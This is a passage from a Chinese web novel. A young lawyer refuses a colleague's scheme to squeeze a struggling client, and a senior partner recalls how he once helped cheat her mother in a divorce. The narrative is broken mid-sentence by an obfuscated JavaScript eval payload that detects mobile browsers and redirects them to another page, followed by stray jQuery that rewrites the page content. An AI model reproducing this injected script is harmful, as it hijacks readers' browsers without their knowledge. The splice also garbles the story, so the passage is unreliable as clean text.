“因为……”


    许辛夷缓缓开口,“我爸那时候,和我妈联系上了,说想见见我。”


    魏晚舟淡声,“十几年杳无音信,没管过你们母女俩,许姨她放心让你去?”


    提到父亲刘怀远,许辛夷突然又有股喝酒的冲动,拿起桌上泡好的柠檬水喝了一大口,“申请学校的事情差不多安排好才过去的,就算我爸不靠谱,我自己在那边应该也能适应。”


    “那他靠谱吗?”魏晚舟抬眼。


    许辛夷歪着脑袋,想了几秒,“那要看你怎么界定靠谱的标准了。”


    中间毕竟隔着十几年的时光,幼时对父亲记忆几乎等于无,没有被照顾着长大,什么慕儒之情基本不可能产生,等到再次相见,双方既没有热络频繁的往来,也没有怨怼过往,有时间在一起时,更像是平等相处的朋友。


    她不拒绝张怀远的关心,也不期待他的帮助。


    同样,以张怀远洒脱的性情,也从未在她身上寄托什么养老的愿望。


    离开伦敦时,谁都没有表现出不舍,拥抱,挥手,背过身,各自平静走向下一段人生。


    也许是因为十八岁那年和魏晚舟的告别太过惨烈,以至于后来无论和谁说再见,她的情绪都不过如此,淡然处之。


    …………………………


    又修养了一个多礼拜,许辛夷自觉身体还行,和郭正恺打了个电话,重新恢复上班。


    她人才在办公室里出现,郑恩荣就找郭正恺做说客,希望他说动许辛夷在邹展鹏的案子上打配合。


    “郭哥,你也觉得我应该喊个高价,郑哥那边邹展鹏不给谅解书,我就咬死不肯调解,然后把仇恨都吸引到我自己身上?”


    许辛夷笑盈盈看着郭正恺,把问题抛回去。


    郭正恺被她问得一愣,说是也不是,不是也不是,只好和稀泥,话里话外,表达的意思还是希望许辛夷如了郑恩荣的愿。


    “大家都是同事,有时候打个配合在所难免。你以后办案子要现实一点,不要掺杂太多私人感情。我知道那天要不是郑恩荣让你出外勤,你也不会受伤,他跟我说,他也觉得抱歉,希望你不要有情绪。”


    “我知道是意外,并没有怪郑哥的意思。”


    “你能这么想,那当然最好。”


    郭正恺点点头:“只要你这边把赔偿金提高,先不给谅解书,那边交通肇事的案子郑恩荣再把金额压一压,两边很容易就办妥了,你再多拿十万甚至二十万也不是什么难事。”


    “十万,二十万,听起来好像不错,都抵得上我好几个月甚至快一年的工资了。”许辛夷点了点头。


    郭正恺以为她要应下。


    谁知话锋一转。


    “可是这事不单纯是钱的问题。我知道法律是平衡利益的规则体系,可以利用规则去争取利益,减少责任,我只是不希望,在这个过程中,自己成为被利用的工具,尤其是用来逼迫一个已经处在绝境的丈夫,父亲,或者儿子。那样会让我觉得,自己已经失去学这门专业的本心。”


    话已至此,多说无益。


    许辛夷起身离开。


    “许辛夷。”


    走到门口,郭正恺喊住她,“你学法律,最开始的本心是什么?”


    “保护想保护的人。”


    许辛夷淡笑回头,“不过最好用不上。”


    “……………”


    郭正恺一时间恍惚了。


    多年前,他还没有成为律所合伙人,跟着周主任共同处理了件离婚咨询案。按道理,离婚这种案子,哪里需要主任和他这种资深民商事律师亲自办,交给所里主办家事案件的律师或者新人跑腿就好,之所以如此谨慎,一是因为给的价钱太好,二是因为客户要求不走诉讼渠道,尽量避免影响到公司的上市计划。


    男女双方,是当时金诚集团的老板魏成功,和他的第二任妻子许慧君。


    其实将拟好的离婚协议,递到许慧君面前的大半年前,经过周主任和魏成功的预先做局,已经让许慧君糊里糊涂的,以个人名义签下数份巨额借款担保协议,她如果不想被牵连进莫须有的债务里,在未搞清楚夫妻关系存续期间财产增值前,必须尽快答应签字离婚。


    许慧君是个性情柔弱且好骗的女人,她准确踩入每一步他们设计好的陷阱,听进去每一次真假难辨的威严恐吓,甚至不知道自己只要拖一拖时间,就能通过金诚集团上市的风口得到一辈子都花不完的财富,草草签字离婚,只拿了三百万走人。


    有钱人的分家析产是没有硝烟的战争,谁都希望自己可以占尽优势,他们这个案子做得可称典范。律所这边和魏成功都很满意,那段时间,他们甚至能得意洋洋的,拿着这个咨询案作为战绩在富人圈里宣扬。


    然而在过程中,郭正恺未必没有不忍。


    他还没有修炼到昧着良心坑蒙拐骗,也能麻木不仁的程度。


    签离婚协议的那天,小小的许辛夷站在旁边,怯生生的,紧张的,观察大人之间的交谈,在确定签字前说等一下,拿起离婚协议逐条看,努力尝试看懂上面的法律术语,磕磕绊绊地问了几个问题。


    周主任没耐心哄小孩,郭正恺耐心解释了几句,过程中难免避重就轻。


    他能看出来,小女孩是真心想帮到自己的母亲,可再怎么努力都无济于事,败在年纪太小,社会经验少。这对母女,直到带着惶恐不安被无情扫地出门,尚不知道自己被怎样算计,又错过了什么。


    ——好歹还拿了三百万,也够花用了。


    当时他是这么想的。


    ——接受调解就能拿两百万,邹展鹏也不亏了。


    郑恩荣是这么说的。


    说到底,他和郑恩荣是一种人。


    而许辛夷不是。


    在人生地不熟的英国旅行时,护照和财物丢失,郭正恺慌乱之际,许辛夷主动走过来,她温和的,笑着问他需不需要帮忙,告诉他怎么报案,和警方怎么交流,怎么处理丢失护照的问题。


    看着眼前漂亮得让人印象深刻的女孩,郭正恺聊天时多问了几句,老家在哪,叫什么名字,很快确定,许辛夷就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836185|190550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    当年那桩离婚案中许慧君的女儿。


    看样子,她压根没认出他。


    当听到她说,已从伦敦政经学院毕业,学的是法律时,一支来自多年前的箭,终于射中了靶心。


    不用问,郭正恺都知道许辛夷为什么学法律。


    虽然再也追不回时光,不能重新审视那份摆在母亲面前的离婚协议。


    一饮一啄,若非天定。


    郭正恺隐隐觉得,自己可能可以为这个女孩做点什么,所以在听到许辛夷想回江城找律所工作后,主动提点了几句,并极力为她在周主任争取到较高的薪资待遇。


    “魏总。”郭正恺拿起手机给魏晚舟打电话,报告许辛夷再次回绝了郑恩荣的提议。


    三年前,魏晚舟向他追要当年许慧君和魏晚舟离婚协议,郭正恺就觉得,他和他父亲很不一样。这位金诚集团的小魏总,看似没有他父亲圆滑世故,寡言少语冷冷清清,但在见过太多人性丑恶的他看来,反而多了点人味。


    “郭律师,你觉得她的选择对吗?”电话那头的魏晚舟问。


    “对不对我不知道。”


    郭正恺轻笑,面色轻松,“不过问心无愧是肯定的。”


    “那便好。”魏晚舟不再多言。


    ………


    “郭哥。”


    看见许辛夷回了自己办公室,郑恩荣找了过来。


    郭正恺大致讲了下许辛夷的意见。


    知道许辛夷依然坚持只要三万块,他烦躁的在屋子里踱步,咬牙切齿道,“这女人真脑子不开窍,怎么就是做不通思想工作!唐总那边催的紧,我都已经放话能搞定谅解书,如果拿不出来,到时候怎么圆场?这律所的声誉还要不要?郭哥,她是你招来的人,更卖你面子,你得想办法让她拧过这个弯来!”


    ——你是善于把个人问题,转嫁为集体问题的!


    郭正恺了然地笑了笑,气定神闲的取了茶叶泡茶。开水注入茶壶后,嫩叶在水中缓缓舒展。


    因着魏晚舟的嘱托,他对那桩交通肇事案了解得比郑恩荣知道得多,倒了杯茶给郑恩荣,“八字都没一撇的事情,你怎么能拿去和人谈条件。说句实话吧,夸这么个海口,除了代理费,对方承诺如果缓刑给你多少钱,几十万?”


    郑恩荣一下子哑口无言,脸色发青。


    郭正恺拍拍郑恩荣的手臂,“话我已经帮你问过,再多说也没什么用,你与其在许辛夷这里花心思,不如多去做做邹展鹏的工作,也许他会改变想法。”


    郑恩荣沉默不语,不知道有没有将他的话听进去。


    见他面色难看,郭正恺又语重心长道:“我们进这行已经这么多年了,虽然说拿人钱财,与人消灾,但首先还是要自保,底线得守住,别把自己搭进去。”


    “我再试试。”


    郑恩荣起身走人。


    门砰地打开又关上,带入一阵凉风。


    郭正恺无奈摇了摇头。


    他不知道郑恩荣说的再试试,是试着劝许辛夷改变心意,还是试着去做邹展鹏的工作。